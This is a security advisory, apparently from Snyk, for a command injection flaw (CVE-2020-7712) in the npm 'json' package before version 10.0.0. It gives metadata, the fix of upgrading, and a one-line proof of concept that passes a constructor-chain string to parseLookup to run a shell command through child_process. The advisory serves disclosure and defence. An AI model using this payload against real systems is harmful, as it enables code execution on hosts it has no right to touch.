Command Injection Affecting json package, versions <10.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.52% (87th percentile)

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  • Snyk IDSNYK-JS-JSON-597481
  • published30 Aug 2020
  • disclosed6 Aug 2020
  • creditpo6ix

Introduced: 6 Aug 2020

CVE-2020-7712  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade json to version 10.0.0 or higher.

Overview

json is a 'json' command tool for massaging and processing JSON on the command line.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

PoC

const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res);

CVSS Scores

version 3.1